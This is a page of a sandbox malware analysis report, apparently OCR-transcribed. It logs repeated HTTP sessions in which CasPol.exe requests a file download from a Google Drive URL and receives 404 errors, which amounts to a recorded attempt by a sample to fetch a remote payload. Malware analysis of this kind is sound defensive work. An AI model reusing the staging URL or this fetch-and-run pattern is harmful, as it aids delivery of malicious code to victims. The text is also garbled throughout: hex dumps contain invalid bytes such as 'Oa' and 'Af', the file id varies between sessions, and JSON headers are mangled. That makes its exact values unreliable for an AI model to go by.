Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src 'nonce-jlVE+550hsQQJ6rZnjr6OA' 'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:54:43 GMT

Expires: Wed, 24 Nov 2021 10:54:43 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:27 UTC 179

2021-11-24 10:55:27 UTC 180

2021-11-24 10:55:27 UTC 181

2021-11-24 10:55:27 UTC 181

Session ID Source IP

121 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:27 UTC 181

2021-11-24 10:55:27 UTC 181

2021-11-24 10:55:27 UTC 182

2021-11-24 10:55:27 UTC 182

Session ID Source IP
122 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49946

Direction

ouTt

Source Port

49947

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-zBirgg\W6wa6UFFvd3eErcQ' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:27 GMT

Expires: Wed, 24 Nov 2021 10:55:27 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-MiP2iXQvtx2ILZKJIr9txyA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:27 GMT

Expires: Wed, 24 Nov 2021 10:55:27 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
Page 25 of 80



kBytes
Timestamp transferred

2021-11-24 10:55:28 UTC 182

2021-11-24 10:55:28 UTC 183

2021-11-24 10:55:28 UTC 184

2021-11-24 10:55:28 UTC 184

Session ID Source IP

123 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:28 UTC 184

2021-11-24 10:55:28 UTC 184

2021-11-24 10:55:28 UTC 185

2021-11-24 10:55:28 UTC 185

Session ID Source IP
124 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49948

Direction

ouTt

Source Port

49949

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-5gfémgC36bGE69DO5sGGMA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe
-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:28 GMT

Expires: Wed, 24 Nov 2021 10:55:28 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src 'nonce-bG28dKd+9fchlVUpWAfuPw' ‘'unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:28 GMT

Expires: Wed, 24 Nov 2021 10:55:28 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:28 UTC 185

2021-11-24 10:55:28 UTC 186

2021-11-24 10:55:28 UTC 187

2021-11-24 10:55:28 UTC 187

Session ID Source IP

125 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:29 UTC 187

2021-11-24 10:55:29 UTC 187

2021-11-24 10:55:29 UTC 188

2021-11-24 10:55:29 UTC 188

Session ID Source IP
126 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49950

Direction

ouT

Source Port

49951

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-NENPCY8mmvLP3peTa383QA" 'unsafe-inline' 'strict-dynamic' https: http:
‘unsafe-eval'’;object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:55:28 GMT

Expires: Wed, 24 Nov 2021 10:55:28 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-Fa3zpl7KvZF/aY9KvAxaPA' ‘'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:29 GMT

Expires: Wed, 24 Nov 2021 10:55:29 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:29 UTC 188

2021-11-24 10:55:29 UTC 189

2021-11-24 10:55:29 UTC 190

2021-11-24 10:55:29 UTC 190

Session ID Source IP

127 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:29 UTC 190

2021-11-24 10:55:29 UTC 190

2021-11-24 10:55:29 UTC 191

2021-11-24 10:55:29 UTC 191

Session ID Source IP
128 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49952

Direction

ouTt

Source Port

49953

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-YnM4g8xU95bEh806EdLOIQ' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:29 GMT

Expires: Wed, 24 Nov 2021 10:55:29 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-kwufQGbKI28BIv+Q8Y/mCA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:29 GMT

Expires: Wed, 24 Nov 2021 10:55:29 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:30 UTC 191

2021-11-24 10:55:30 UTC 192

2021-11-24 10:55:30 UTC 193

2021-11-24 10:55:30 UTC 193

Session ID Source IP

129 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:30 UTC 193

2021-11-24 10:55:30 UTC 193

2021-11-24 10:55:30 UTC 194

2021-11-24 10:55:30 UTC 194

Session ID Source IP
13 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49954

Direction

ouTt

Source Port

49835

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-OYAW?73ffVr2QYTwgM2aHrA' ‘'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
